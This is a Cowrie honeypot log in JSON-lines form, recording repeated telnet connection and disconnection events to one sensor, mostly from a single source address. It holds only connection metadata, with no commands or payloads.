{"eventid":"cowrie.session.closed","duration":42.22619843482971,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:35.511342Z","src_ip":"188.208.141.113","session":"c49c343414b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52248,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0d582cf4ce4","protocol":"telnet","message":"New connection: 188.208.141.113:52248 (10.17.0.5:23) [session: a0d582cf4ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:40.380512Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51298,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fa9fb522300","protocol":"telnet","message":"New connection: 188.208.141.113:51298 (10.17.0.5:23) [session: 8fa9fb522300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:41.785336Z"}
{"eventid":"cowrie.session.closed","duration":41.267194986343384,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:46.193718Z","src_ip":"188.208.141.113","session":"1918171c7508","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.883305311203003,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:46.263693Z","src_ip":"188.208.141.113","session":"a0d582cf4ce4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.194802045822144,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:54.592404Z","src_ip":"188.208.141.113","session":"1b71664f58ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38222,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f7d59262ee0","protocol":"telnet","message":"New connection: 188.208.141.113:38222 (10.17.0.5:23) [session: 8f7d59262ee0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:54.753686Z"}
{"eventid":"cowrie.session.closed","duration":44.335793018341064,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:55.517944Z","src_ip":"188.208.141.113","session":"049ce018467c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38228,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b0e0ed0f6f5","protocol":"telnet","message":"New connection: 188.208.141.113:38228 (10.17.0.5:23) [session: 3b0e0ed0f6f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:56.421545Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":44252,"dst_ip":"10.17.0.5","dst_port":23,"session":"a21fdd16ee1f","protocol":"telnet","message":"New connection: 69.65.3.189:44252 (10.17.0.5:23) [session: a21fdd16ee1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:57.653782Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38244,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e7505cbb4e4","protocol":"telnet","message":"New connection: 188.208.141.113:38244 (10.17.0.5:23) [session: 7e7505cbb4e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:58.092829Z"}
{"eventid":"cowrie.session.closed","duration":0.7069821357727051,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:58.360632Z","src_ip":"69.65.3.189","session":"a21fdd16ee1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.6855628490448,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:16:58.548202Z","src_ip":"188.208.141.113","session":"ad1c64ad8126","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.19093322753906,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:00.435072Z","src_ip":"188.208.141.113","session":"0f671549c759","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":48688,"dst_ip":"10.17.0.5","dst_port":23,"session":"401d932dd98d","protocol":"telnet","message":"New connection: 188.208.141.113:48688 (10.17.0.5:23) [session: 401d932dd98d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:05.709608Z"}
{"eventid":"cowrie.session.closed","duration":44.390050649642944,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:07.102460Z","src_ip":"188.208.141.113","session":"4d928f34f44f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.87625741958618,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:11.300736Z","src_ip":"188.208.141.113","session":"9dbdc7aa35f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.649341106414795,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:12.105821Z","src_ip":"188.208.141.113","session":"a47411edb9d0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53118,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ad4d82d6f6e","protocol":"telnet","message":"New connection: 188.208.141.113:53118 (10.17.0.5:23) [session: 4ad4d82d6f6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:12.503089Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53128,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b928c1b69bc","protocol":"telnet","message":"New connection: 188.208.141.113:53128 (10.17.0.5:23) [session: 4b928c1b69bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:15.015921Z"}
{"eventid":"cowrie.session.closed","duration":34.680447578430176,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:16.465687Z","src_ip":"188.208.141.113","session":"8fa9fb522300","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55810,"dst_ip":"10.17.0.5","dst_port":23,"session":"9be3a33e3d0c","protocol":"telnet","message":"New connection: 188.208.141.113:55810 (10.17.0.5:23) [session: 9be3a33e3d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:24.513132Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55826,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d11ac30283c","protocol":"telnet","message":"New connection: 188.208.141.113:55826 (10.17.0.5:23) [session: 8d11ac30283c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:26.581387Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55832,"dst_ip":"10.17.0.5","dst_port":23,"session":"90dff29a4dfb","protocol":"telnet","message":"New connection: 188.208.141.113:55832 (10.17.0.5:23) [session: 90dff29a4dfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:28.904603Z"}
{"eventid":"cowrie.session.closed","duration":34.690532207489014,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:29.444073Z","src_ip":"188.208.141.113","session":"8f7d59262ee0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34966,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e7d4b0ff7bd","protocol":"telnet","message":"New connection: 188.208.141.113:34966 (10.17.0.5:23) [session: 9e7d4b0ff7bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:31.063152Z"}
{"eventid":"cowrie.session.closed","duration":36.228126525878906,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:34.317038Z","src_ip":"188.208.141.113","session":"7e7505cbb4e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.56397557258606,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:34.468483Z","src_ip":"188.208.141.113","session":"90dff29a4dfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.57300138473511,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:37.994434Z","src_ip":"188.208.141.113","session":"3b0e0ed0f6f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34982,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f84f824dda4","protocol":"telnet","message":"New connection: 188.208.141.113:34982 (10.17.0.5:23) [session: 0f84f824dda4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:38.143072Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36236,"dst_ip":"10.17.0.5","dst_port":23,"session":"af463575de7e","protocol":"telnet","message":"New connection: 188.208.141.113:36236 (10.17.0.5:23) [session: af463575de7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:41.177536Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36252,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fd5d91e3ee2","protocol":"telnet","message":"New connection: 188.208.141.113:36252 (10.17.0.5:23) [session: 1fd5d91e3ee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:41.770576Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":36256,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d4adde6df6b","protocol":"telnet","message":"New connection: 188.208.141.113:36256 (10.17.0.5:23) [session: 8d4adde6df6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:42.759507Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39026,"dst_ip":"10.17.0.5","dst_port":23,"session":"a997b0f2ad1e","protocol":"telnet","message":"New connection: 188.208.141.113:39026 (10.17.0.5:23) [session: a997b0f2ad1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:52.325586Z"}
{"eventid":"cowrie.session.closed","duration":37.87473917007446,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:52.890501Z","src_ip":"188.208.141.113","session":"4b928c1b69bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.47166895866394,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:54.181150Z","src_ip":"188.208.141.113","session":"401d932dd98d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.7581653594970703,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:56.083607Z","src_ip":"188.208.141.113","session":"a997b0f2ad1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.17827796936035,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:56.681261Z","src_ip":"188.208.141.113","session":"4ad4d82d6f6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39030,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9768e5a2740","protocol":"telnet","message":"New connection: 188.208.141.113:39030 (10.17.0.5:23) [session: e9768e5a2740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:57.016428Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39046,"dst_ip":"10.17.0.5","dst_port":23,"session":"2245654f2776","protocol":"telnet","message":"New connection: 188.208.141.113:39046 (10.17.0.5:23) [session: 2245654f2776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:17:58.855689Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55938,"dst_ip":"10.17.0.5","dst_port":23,"session":"97f976554273","protocol":"telnet","message":"New connection: 188.208.141.113:55938 (10.17.0.5:23) [session: 97f976554273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:04.322507Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55954,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ee20759a64c","protocol":"telnet","message":"New connection: 188.208.141.113:55954 (10.17.0.5:23) [session: 6ee20759a64c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:05.495333Z"}
{"eventid":"cowrie.session.closed","duration":5.814281940460205,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:11.309474Z","src_ip":"188.208.141.113","session":"6ee20759a64c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.13429021835327,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:11.647326Z","src_ip":"188.208.141.113","session":"9be3a33e3d0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.412489891052246,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:15.475510Z","src_ip":"188.208.141.113","session":"9e7d4b0ff7bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.229159116744995,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:15.810430Z","src_ip":"188.208.141.113","session":"8d11ac30283c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.00009322166443,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:21.759518Z","src_ip":"188.208.141.113","session":"8d4adde6df6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34964,"dst_ip":"10.17.0.5","dst_port":23,"session":"f650f4f22ee5","protocol":"telnet","message":"New connection: 188.208.141.113:34964 (10.17.0.5:23) [session: f650f4f22ee5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:22.283266Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34976,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ae9937152fd","protocol":"telnet","message":"New connection: 188.208.141.113:34976 (10.17.0.5:23) [session: 9ae9937152fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:22.675276Z"}
{"eventid":"cowrie.session.closed","duration":47.97976803779602,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:26.122704Z","src_ip":"188.208.141.113","session":"0f84f824dda4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.00633382797241,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:27.183761Z","src_ip":"188.208.141.113","session":"af463575de7e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.84834337234497,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:28.618827Z","src_ip":"188.208.141.113","session":"1fd5d91e3ee2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49202,"dst_ip":"10.17.0.5","dst_port":23,"session":"8eefb4861c89","protocol":"telnet","message":"New connection: 188.208.141.113:49202 (10.17.0.5:23) [session: 8eefb4861c89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:38.310929Z"}
{"eventid":"cowrie.session.closed","duration":39.871519565582275,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:38.727123Z","src_ip":"188.208.141.113","session":"2245654f2776","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43784,"dst_ip":"10.17.0.5","dst_port":23,"session":"45afb2faf549","protocol":"telnet","message":"New connection: 188.208.141.113:43784 (10.17.0.5:23) [session: 45afb2faf549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:41.195448Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":32784,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7c6d0b39013","protocol":"telnet","message":"New connection: 206.189.32.23:32784 (10.17.0.5:23) [session: b7c6d0b39013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:43.449094Z"}
{"eventid":"cowrie.session.closed","duration":46.669559717178345,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:43.685820Z","src_ip":"188.208.141.113","session":"e9768e5a2740","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33976,"dst_ip":"10.17.0.5","dst_port":23,"session":"d354a798e17d","protocol":"telnet","message":"New connection: 206.189.32.23:33976 (10.17.0.5:23) [session: d354a798e17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:44.451325Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43790,"dst_ip":"10.17.0.5","dst_port":23,"session":"84396017b9d6","protocol":"telnet","message":"New connection: 188.208.141.113:43790 (10.17.0.5:23) [session: 84396017b9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:48.593119Z"}
{"eventid":"cowrie.session.closed","duration":44.937968015670776,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:49.260370Z","src_ip":"188.208.141.113","session":"97f976554273","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42288,"dst_ip":"10.17.0.5","dst_port":23,"session":"460c81aa75cd","protocol":"telnet","message":"New connection: 188.208.141.113:42288 (10.17.0.5:23) [session: 460c81aa75cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:51.135327Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42298,"dst_ip":"10.17.0.5","dst_port":23,"session":"789d19597d02","protocol":"telnet","message":"New connection: 188.208.141.113:42298 (10.17.0.5:23) [session: 789d19597d02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:51.935653Z"}
{"eventid":"cowrie.session.closed","duration":4.705403566360474,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:53.298400Z","src_ip":"188.208.141.113","session":"84396017b9d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42310,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d3045f4567c","protocol":"telnet","message":"New connection: 188.208.141.113:42310 (10.17.0.5:23) [session: 5d3045f4567c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:18:57.047749Z"}
{"eventid":"cowrie.session.closed","duration":41.60007429122925,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:04.275210Z","src_ip":"188.208.141.113","session":"9ae9937152fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.64034867286682,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:09.923494Z","src_ip":"188.208.141.113","session":"f650f4f22ee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49982,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a87a3af033b","protocol":"telnet","message":"New connection: 188.208.141.113:49982 (10.17.0.5:23) [session: 8a87a3af033b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:10.522582Z"}
{"eventid":"cowrie.session.closed","duration":37.04505896568298,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:15.355888Z","src_ip":"188.208.141.113","session":"8eefb4861c89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":37692,"dst_ip":"10.17.0.5","dst_port":23,"session":"39a30e62ba71","protocol":"telnet","message":"New connection: 188.208.141.113:37692 (10.17.0.5:23) [session: 39a30e62ba71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:16.567945Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":39612,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a33f9a01c1c","protocol":"telnet","message":"New connection: 206.189.32.23:39612 (10.17.0.5:23) [session: 9a33f9a01c1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:16.729994Z"}
{"eventid":"cowrie.session.closed","duration":36.73908877372742,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:17.934415Z","src_ip":"188.208.141.113","session":"45afb2faf549","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.4534547328949,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:26.904669Z","src_ip":"206.189.32.23","session":"d354a798e17d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40060,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae807f77bab8","protocol":"telnet","message":"New connection: 188.208.141.113:40060 (10.17.0.5:23) [session: ae807f77bab8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:27.720640Z"}
{"eventid":"cowrie.session.closed","duration":46.36425065994263,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:29.813207Z","src_ip":"206.189.32.23","session":"b7c6d0b39013","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.154377460479736,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:30.289602Z","src_ip":"188.208.141.113","session":"460c81aa75cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.331108808517456,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:31.266628Z","src_ip":"188.208.141.113","session":"789d19597d02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":39088,"dst_ip":"10.17.0.5","dst_port":23,"session":"85c529515e4e","protocol":"telnet","message":"New connection: 188.208.141.113:39088 (10.17.0.5:23) [session: 85c529515e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:35.859808Z"}
{"eventid":"cowrie.session.closed","duration":48.32516360282898,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:45.372775Z","src_ip":"188.208.141.113","session":"5d3045f4567c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43108,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a3c4356959f","protocol":"telnet","message":"New connection: 188.208.141.113:43108 (10.17.0.5:23) [session: 8a3c4356959f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:52.091934Z"}
{"eventid":"cowrie.session.closed","duration":46.324710845947266,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:56.847158Z","src_ip":"188.208.141.113","session":"8a87a3af033b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43112,"dst_ip":"10.17.0.5","dst_port":23,"session":"83f688a1c722","protocol":"telnet","message":"New connection: 188.208.141.113:43112 (10.17.0.5:23) [session: 83f688a1c722]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:19:58.449752Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34154,"dst_ip":"10.17.0.5","dst_port":23,"session":"86ef09e351be","protocol":"telnet","message":"New connection: 188.208.141.113:34154 (10.17.0.5:23) [session: 86ef09e351be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:20:00.819844Z"}
